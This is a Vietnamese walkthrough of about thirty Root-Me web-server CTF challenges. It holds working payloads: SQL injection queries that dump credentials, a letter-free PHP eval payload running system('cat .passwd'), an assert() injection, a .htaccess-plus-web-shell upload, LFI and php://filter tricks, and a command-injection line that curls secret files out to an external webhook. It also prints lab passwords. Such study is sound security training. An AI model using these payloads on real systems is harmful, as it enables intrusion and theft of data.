### 1.HTML - Source code
mở dev-tool ra xem source là thấy

### 2.HTTP - IP restriction bypass
```
Statement
Dear colleagues,
We’re now managing connections to the intranet using private IP addresses, so it’s no longer necessary to login with a username / password when you are already connected to the internal company network.
Regards,
The network admin
```
Hiển thị thông tin địa chỉ ip của mình k phải private:

Mình cần sửa lại địa chỉ ip thành private hoặc login, mà login thì k có khả năng nên sẽ đổi ip.
Các địa chỉ ip private:
```
10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255
```
Cách 1: dùng Burp suite:
Thêm: `X-Forwarded-For:<private ip>` vào header là được.

Cách 2: dùng curl
Cú pháp: `curl '<web_url' --header 'X-Forwarded-For: <private ip>'`
Ví dụ: `curl 'http://challenge01.root-me.org/web-serveur/ch68/' --header 'X-Forwarded-For: 172.16.0.1'`
Cách 3: Viết script:
```
import requests
url = "<restricted website URL>"
headers = {
"X-Forwarded-For": "<allowed IP address>"
}
response = requests.get(url, headers=headers)
print(response.text)
```
### 3.HTTP - User-agent


Dùng Burp Suite sửa chỗ `User-Agent: ...` thành `Admin` là được.
### 4.HTTP - POST

Dùng Burp Suite và sửa chỗ Score để >999999 là được.
### 5.HTTP - Open redirect
```
Statement
Find a way to make a redirection to a domain other than those showed on the web page.
```

Mục tiêu của bài này là chuyển hướng đến trang khác ngoài 3 trang đó.

Thử chọn vào facebook thì thấy ở request:
```GET /web-serveur/ch52/?url=https://facebook.com&h=a023cfbf5f1c39bdf8407f28b60cd134 HTTP/1.1```
Nhìn vào đó nhận thấy md5 `http://facebook.com` = `a023cfbf5f1c39bdf8407f28b60cd134`
Do đó ví dụ muốn truy cập đến `https://discord.com` thì hash md5 là: `e3967a1b59df15341dade5d5ea018b49`
Sẽ sửa thành:
```GET /web-serveur/ch52/?url=https://discord.com&h=e3967a1b59df15341dade5d5ea018b49 HTTP/1.1```
### 6. HTTP - Directory indexing
Bấm vào web thì không thấy gì, Đề cho hint là `CtrL + U` để xem view source.
Ta thấy có chỗ `<!-- include("admin/pass.html") -->`
Thử truy cập vào pass thì không thấy gì, quay lại admin thì thấy có mấy file, vào check thì Flag ở `backup`

### 7. PHP - Command injection

Ta thấy có lỗi `command injection`, mình gửi kèm `cat index.php` vào burpsuite sem source:

Thấy flag nằm ở: `.passwd` , cat nó ra thôi
### 8. HTTP - Headers
Dùng BurpSuite và xem ta thấy không có quyền admin

Do đó thêm vào request =True hoặc =1 là được.

### 9.HTTP - Improper redirect
`Statement:
Get access to index.`
Thử truy cập vào index.php thì trang web luôn chỉ về login. Vào burpsuite để truy cập index.php xem sao.

### 10. HTTP - Verb tampering

Ban đầu phương thức là `Get`, đổi thành `PUT` là được. Dùng PUT là để cập nhật dữ liệu.
### 11. HTTP - Cookies

Ban đầu nhập đại và lưu thì yêu cầu admin:

Sửa nơi cookie thành admin là được.
### 12. SQL injection - Authentication
Nơi login mình nhập `hhhai'` thì thấy lỗi:
```
Authentication v 0.01
Warning: SQLite3::query(): Unable to prepare statement: 1, near "aaaaa": syntax error in /challenge/web-serveur/ch9/index.php on line 38
near "aaaaa": syntax error
```
Do đó ta biết có lỗi `sqli` và chương trình dùng `Sqlite3`
Ta cần password của admin do đó ta nhập nơi login là `admin' -- -` như vậy là nó vô hiệu pass, nó chỉ check login.

### 13. SQL injection - Authentication - GBK
GBK : GBK là một hệ thống mã hóa ký tự được sử dụng để hiển thị văn bản trong ngôn ngữ Trung Quốc và một số ngôn ngữ khác sử dụng chữ Hán.
Thử một vài payload đơn giản: admin’ or ‘1’=’1– – => không có kế quả
Tiếp tục thử chuyển đầu vào login và password thành array

Đã có lỗi trả về , có hai hàm được sử dụng là md5(),và addslashes()
Hàm md5() : được sử dụng để tạo mã băm MD5 của một chuỗi => có thể nó dùng để hash password
Hàm addslashes() : thêm dấu gạch chéo (backslashes) vào trước các ký tự đặc biệt trong một chuỗi.
vd đầu vào : ‘or ‘1’=’1 — – => \‘or \‘1\’=\’1
Dấu “\” khi encode sẽ là “%5c” => cần thêm một symbol đặc biệt để khi +với “%5c” sẽ thành một symbol khác không bị filter bởi sever
Với GBK thì có giải pháp, khi set ở chế độ GBK thì
`%bf%5c` hoặc `%af%5c` là một kí tự trung quốc
payload : `admin%af' or 1=1 --`
### 14. SQL injection - String
Ta thấy có lỗi tại

Dùng `order by` và xác định được có 2 cột, biết chương trình dùng `sqlite3`

Lấy tên bảng:
`' UNION SELECT name, type FROM sqlite_master WHERE type='table' -- `
Lấy tên cột:
`' UNION SELECT sql, NULL FROM sqlite_master WHERE name='users' --`

Cuối cùng lấy username và password.
`' UNION SELECT username, password FROM users --`

### 15. SQL injection - Numeric
Khi thêm dấu `'` vào url thì thấy lỗi, và biết chương trình dùng `sqlite3`

Nhưng khi thêm `or 1=1 -- -` thì nó lại liệt kê hết

Dùng `order by` và xác định được chương trình có 3 cột.
`union select 1,2,3 -- -`

lấy tên bảng:
`UNION SELECT null, name, type FROM sqlite_master WHERE type=char(116,97,98,108,101) --` . do chương trình filter dấu `'` nên type = 'table' phải thay bằng như trên
Lấy tên cột:
`UNION SELECT null, sql, NULL FROM sqlite_master WHERE name=char(117,115,101,114,115) --`

Lấy data: `UNION SELECT null, username, password FROM users --`

### 16. SQL Injection - Routed
Nhập thử dấu `'` ta biết được chương trình dùng `mysql`

Mình nhập thử `or`, `and`, `order by` thì đều thấy bị filter. Nhưng may mắn là `union` và `select` không bị.

Điều kì lạ ở đây là khi mình nhập `' union select 2 -- -` hay `' union select 1 -- -` thì nó ra thông tin id của 2 và 1. Thông thường thì do sai số cột nên nó sẽ thông báo lỗi.
Đó là do `SQL Routed` . Nói tóm tắt là câu truy vấn 2 sẽ được lồng vào câu truy vấn 1.
Ví dụ:
Câu truy vấn 1: `' order by 3 -- -`
Câu truy vấn 2:`'union select 'QUERY 1' -- -`
Thành: `union select ' order by 3 -- - -- -`
Mà do trong câu truy vấn 1 bị filter, nên hãy chuyển nó sang hex và thử: `' union select 0x27206f726465722062792033202d2d202d -- -`

Không có cột 3. Tương tự chuyển `order by 2` qua hex và test thì thấy có, nghĩa là chương trình có 2 cột thôi.
Tiếp theo cần xác định tên bảng, tên cột và lấy data thôi.
Xác định ví trí output data, Ta thấy 1 là id dạng số, 2 là email dạng string.
`' union select 1,2,3 -- -` = `' union select 0x312c322c33 -- -`
Tên bảng:
`' union select ' union select 1,table_name from information_schema.tables WHERE table_schema = DATABASE() -- - -- -`

Tên cột:
`' union select ' union select 1,group_concat(column_name) from information_schema.columns WHERE table_schema = DATABASE() and table_name = 'users' -- - -- -`

Lấy data thôi:
`' union select ' union select 1,concat(login,password) from users -- - -- -`
Hoặc có thể lấy tất cả lần lượt login và password với `group_concat`
### 17. Weak password

`admin:admin`
### 18. Backup file
Đề không cho gợi ý hay source gì cả, nhìn vào tên bài thấy `backup file`, search google thì biết được các file backup thường được lưu với `~` ở sau.
Để nguyên `URL` và thêm `~` thì `404 not found`, do vậy mình thử tìm `index.html` và `index.php` thì thấy `index.php` tồn tại

Thêm `~` sau index.php và nó cho mình tải về file source:
```php!
<?php
$username="ch11";
$password="OCCY9AcNm1tj";
echo '
<html>
<body>
<h1>Authentication v 0.00</h1>
';
if ($_POST["username"]!="" && $_POST["password"]!=""){
if ($_POST["username"]==$user && $_POST["password"]==$password)
{
print("<h2>Welcome back {$row['username']} !</h2>");
print("<h3>Your informations :</h3><p>- username : $row[username]</p><br />");
print("To validate the challenge use this password</b>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
}
echo '
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
</body>
</html>
';
```
### 19. SQL Truncation
Tại trang login, F12 mở source thấy đoạn comment:
```sql!
<!--
CREATE TABLE IF NOT EXISTS user(
id INT NOT NULL AUTO_INCREMENT,
login VARCHAR(12),
password CHAR(32),
PRIMARY KEY (id));
-->
```
Cộng thêm với tên bài, mình search thì biết được `SQL Truncation` là khi các cột bị giới hạn về độ dài, do đó khi ta nhập dài hơn thì nó sẽ bị cắt bớt để thỏa mãn.

Ta sẽ nhập user là `admin+space` để dài hơn yêu cầu mà passwd mới. Khi đó chương trình sẽ nhận tài khoản là `admin` và passwd cho admin là cái mình vừa cung cấp. Ví dụ như ảnh(+ tức là dấu cách).
Sau đó quay lại đăng nhập thôi.
### 20. PHP - Eval

Chương trình cho ta source:
```html
<html>
<head>
</head>
<body>
<h4> PHP Calc </h4>
<form action='index.php' method='post'>
<input type='text' id='input' name='input' />
<input type='submit' />
<?php
if (isset($_POST['input'])) {
if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
print '<fieldset><legend>Result</legend>';
eval('print '.$_POST['input'].";");
print '</fieldset>';
}
else
echo "<p>Dangerous code detected</p>";
}
?>
</form>
</body>
</html>
```
Ta thấy chương trình thực hiện hàm `eval()` với input của mình. `Hàm eval()` nó sẽ thực thi đoạn code php ở trong nó. Ví dụ: `eval('echo "Hello, World!";')` là nó sẽ in ra chuỗi `Hello, World!`. Giờ muốn có flag ta chỉ cần inject vào chuỗi `system('cat .passwd')` là được. Nhưng dựa vào code thì thấy nó đã filter chữ cái rồi.
Qua search gg, đọc writeup thì thấy có cái này: https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Ta sẽ sử dụng những ký tự `$, _, ;` thay cho chữ cái để tạo thành một command line để thực thi. Nó có nghĩa là ví dụ: `$_ = 'a'` thì `++$_` sẽ là `'b'`. cứ cộng dần lên ký tự mà bạn muốn rồi sau đó ghép nó lại.
Đây là payload của mình và sau đó encode bằng urlencode nó dán vào param input trong burpsuite thế là được.
```
$_=[];
$_=@"$_";
$_=$_[3];
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='';
$__=$_;
$__++;$__++;
$____.=$__;
$__=$_;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_____.='.';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$_____.=$__;
$__=$_;
$_____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$_____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$_____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$_____.=$__;
$__=$_;
$__++;$__++;$__++;
$_____.=$__;
$__________ = $____." ".$_____ ;
$___($__________ )
```
Mình giải thích xíu đoạn này, nguyên bản nó là:
```
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
```
Đây là trường hợp nó filter cả số nên làm như vậy lấy `$_=$_['!'=='@']; // $_=$_[0];` nhưng bài này của mình nó không filter số nên mình lấy `$_=$_[3];` tức là `a` luôn để thuận tiện cho việc tăng thêm sau đó.
Bởi vì câu lệnh của mình là `system('cat .passwd')` viết bằng chữ cái thường.
Còn nếu để chữ hoa như vậy thì có thể viết thành: `SYSTEM(STRTOLOWER('CAT .PASSWD'))`

Bài này mình có tham khảo tại: https://nhienit.wordpress.com/2020/04/30/rootme-php-eval/
### 21. File upload - Double extensions

Bài chỉ cho phép upload file đuôi `.gif`, `.jpeg`, `png`
Ta đổi đuôi file thành `.php.png` và nội dung file thành `wepshell`, Khi thực thi nó vẫn thấy đuôi .png và uploads thành công.

Tìm và đọc flag thôi:

### 22. File upload - MIME type



### 23. File upload - Null byte



### 24. File upload - ZIP

Đề chỉ cho upload file zip. Mình nén file shell.php lại thành file zip rồi upload thì thấy nó đã unzip và có file shell của mình. Nhưng vấn đề là mình không mở được.

Mình không có quyền truy cập file `.php` mà chỉ vào được file `.txt` hoặc file `.jpg` thôi.
Vậy mình sẽ tạo một symbolic link `index.txt` trỏ đến `index.php` và zip nó lại rồi upload.
`ln -s ../../../index.php index.txt
`
`zip --symlinks index.zip index.txt
`

Có flag.

### 25. PHP - assert()

Đề không cho source hay gợi ý gì cả, khi test LFI thì có thông tin nó dùng `assert`
`assert()` là hàm kiểm tra logic, nếu đúng thì thực hiện, nếu sai đưa ra cảnh báo hoặc dừng.
Nó hoạt động dạng như sau:
```php!
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "includes/" . $page . ".php";
assert(strpos('$file', '..') === false) or die("Detected hacking attempt!"); // vulnerable code!
>?
```
Chương trình lấy file từ input rồi thêm. ví dụ nhập `test` thì nó trở thành `includes/test.php`. Rồi dùng hàm `strpos` để kiểm tra xem có `..` trong url không. Nếu có thì thông báo `Detected...`
Vấn đề ở đây là mình có thể tùy chỉnh input để bypass và có thể đọc được file `.passwd`
Ví dụ payload:
`' and system('cat .passwd') or '` => `include/' and system('cat .passwd') or '.php`
Khi đó vào chương trình sẽ là:
`assert(strpos('include/' and system('cat .passwd') or '.php', '..') === false) or die("Detected hacking attempt!");`
Trước tiên thì thực thi hàm `strpos()` nó thực hiện hàm system trước `'include/' and <outputsystem>` rồi `or` các kiểu. Nhưng đầu tiên là nó thực thi system rồi.

### 26. PHP - Apache configuration
Có hint là: `.htaccess`
Tìm hiểu về `.htaccess` thì biết là một tập tin cấu hình dùng trên máy chủ Apache để kiểm soát cách thức hoạt động của web server trong từng thư mục cụ thể. Nó cho phép thay đổi nhiều thiết lập mà không cần truy cập trực tiếp vào file cấu hình chính của Apache.
Đề cho upload các file trừ php. Vậy mình sẽ cấu hình file `.htaccess` cho nó xử lí các file mình upload lên như file `php` sau đó upload file với nội dung shellcode.
Ví dụ cấu hình `.htaccess`
```
Options All +Indexes
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<FilesMatch "payload">
SetHandler application/x-httpd-php
</FilesMatch>
```
- Đầu tiên kích hoạt các option có sẵn ở apache + Cho phép hiển thị danh sách thư mục nếu không có file index.php hoặc index.html
- Bật PHP 7 nếu nó được cài đặt.
- Xử lý mọi tệp tin có tên chứa "payload" như mã PHP.
Upload file này rồi upload file tên `payload`
```php!
<?php system($_GET['cmd']); ?>
```

### 27. PHP - Filters

Test với LFI thì thấy chương trình dùng `include` file mình đưa vào ở url đó, và nó không có quyền ở thư mục cha
`Warning: include(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s)`
Đề bài cho hint filters, nên mình sẽ dùng kĩ thuật `PHP php://filter Wrapper` để xem source.
Sử dụng đoạn payload để xem source login.php
`?inc=php://filter/convert.base64-encode/resource=login.php`

Decode đoạn base64 ra là có source, đọc thấy nó include file `config.php`, xem source nó

```php!
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
```
Xem thêm File inclusion: https://hackmd.io/@haiha215/H1z5rf-akg
### 28. PHP - register globals
`Statement
It seems that the developper often leaves backup files around...`
Hint cho biết rằng source được lưu ở đâu đó.

Dùng dirserch và biết có file `index.php.bak` , truy cập và được tải về file source.
```php!
<?php
function auth($password, $hidden_password){
$res=0;
if (isset($password) && $password!=""){
if ( $password == $hidden_password ){
$res=1;
}
}
$_SESSION["logged"]=$res;
return $res;
}
```
Thấy chương trình có đoạn check password nhập vào với `hidden_password`
`register globals` trong php là một tùy chọn trong các phiên bản PHP cũ (trước PHP 5.4) cho phép các biến từ `$_GET`, `$_POST`, `$_COOKIE`, `$_SESSION`, v.v. được tự động chuyển thành biến toàn cục.
khi `register_globals = On`
Giả sử truy cập URL:
`http://example.com/index.php?username=admin`
`echo $username; // Kết quả: admin`
Biến `$username` được tạo tự động từ `$_GET['username']`, dù không khai báo trước.
Nên ở đây nó check input với `hidden_password` nên ta có thể set nó thành cái khác rồi đăng nhập.
`ch17/index.php?hidden_password=hhhai`

Truy cập lại `index.php`

### 29. Command injection - Filter bypass

Mình thử nhiều payload khác nhau nhưng không có kêt quả nên thử `curl` đến webhook xem. (xuống dòng để kết thúc lệnh ping)


Nó đã thực hiện đoạn `curl` của mình.
Tiếp theo tạo 1 đọc nội dung file `index.php` và request đến webhook để xem nội dung.
`ip=127.0.0.1+%0A+curl+--data+"@index.php"+https://webhook.site/bf3f6fe1-e35d-4bce-9b03-4aa89b9f6158`

Vào webhook xem source.
```php!
<html>
<head>
<title>Ping Service</title>
</head>
<body>
<form method="POST" action="index.php">
<input type="text" name="ip" placeholder="127.0.0.1">
<input type="submit">
</form>
<pre>
<?php
$flag = file_get_contents(".passwd"); // Read password file
if (isset($_POST["ip"]) && !empty($_POST["ip"])) {
$ip = preg_replace("/[\\\$|`;&<>]/", "", $_POST["ip"]); // Sanitize input
$response = shell_exec("timeout 5 bash -c 'ping -c 3 " . $ip . "'"); // Execute ping command
if (preg_match("/3 packets transmitted, (.*) received/s", $response, $out)) { // Parse response
if ($out[1] == "3") {
echo "Ping OK";
} elseif ($out[1] == "0") {
echo "Ping NOK";
} else {
echo "Syntax Error";
}
} else {
echo "Error parsing ping response.";
}
}
?>
</pre>
</body>
</html>
```
`ip=127.0.0.1+%0A+curl+-X+POST+--data+"@.passwd"+https://webhook.site/bf3f6fe1-e35d-4bce-9b03-4aa89b9f6158`
- Chỉ định phương thức HTTP bằng `-X POST`, sau đó gửi dữ liệu `.passwd`.
hoặc:
`ip=127.0.0.1+%0A+curl+--data+"@.passwd"+https://webhook.site/bf3f6fe1-e35d-4bce-9b03-4aa89b9f6158`
- Không chỉ định phương thức, mặc định là `POST` khi có `--data`.

Có flag.
### 30. Local File Inclusion

Vào thư mục có các file, chọn file thì cấu trúc url như sau:
`http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=index.html`


Khi ta đăng nhập, nhìn vào url thì thấy có folder `admin` và trong đó có file `index.php`
`files=admin&f=index.php`

`files=../admin&f=index.php`

Hoặc có thể `files=sysadm&f=../../admin/index.php`

### 31. Local File Inclusion - Double encoding
Khi thử `page=..` hay `page=/` thì được thông báo `Attack detected.` Tức là nó đã filter các kí tự này rồi.

Khi nhập đại chữ cái hay số thì được thông báo như ảnh, ta thấy chương trình `include` file ta nhập với thêm đuôi `.inc.php`
Yêu cầu của đề là xem source, ta sẽ dùng `php//:filter Wrapper` để xem (https://hackmd.io/@haiha215/H1z5rf-akg)
Payload điển hình sẽ là:
`page=php://filter/convert.base64-encode/resource=/etc/passwd`
Nhưng ta thấy nó thêm đuôi `.inc.php` vào sau, qua tìm hiểu thì biết rằng có tệp `conf.inc.php`
Dùng double encode để bypass filter `..` và `/`

Vào cyberchef và double encoding url
`php://filter/convert.base64-encode/resource=conf`

Decode đoạn base64 là có flag.
### 32. PHP - Loose Comparison
Đọc bài viết này là sẽ có đoạn về `Loose Comparison Vulnerabilities in PHP` áp dụng nó là ra bài này luôn.
https://www.invicti.com/blog/web-security/php-type-juggling-vulnerabilities/
PHP có 2 model so sánh 1 là `"=="` gọi là `loose comparison` và `"==="` gọi là `strict comparison`
Với `loose comparison` thì `0e` nghĩa là 0 mũ. Sau `0e` thì bao nhiêu cũng được vì là 0 mũ bao nhiêu cũng bằng 0.
`var_dump("0e123" == "0e51217526859264863"); // output: TRUE`
Với `MD5`, ta có hai đoạn là `240610708` và `QNKCDZO`
`var_dump(md5('240610708') == md5('QNKCDZO')); // output: TRUE`
Quay lại với bài này, đề yêu cầu nhập `s` và `h` sau đó kiểm tra `$s.$r==$h`. Vậy mình có thể nhập `s` là `0e`, sau khi nối thêm `r` thì nó vẫn là `0eXXX` và vẫn bằng 0. Mình cần tìm 2 đoạn để khi `md5` nó là `0e...=0`. Như trên đã nói thì mình có thể dùng 2 đoạn đó.
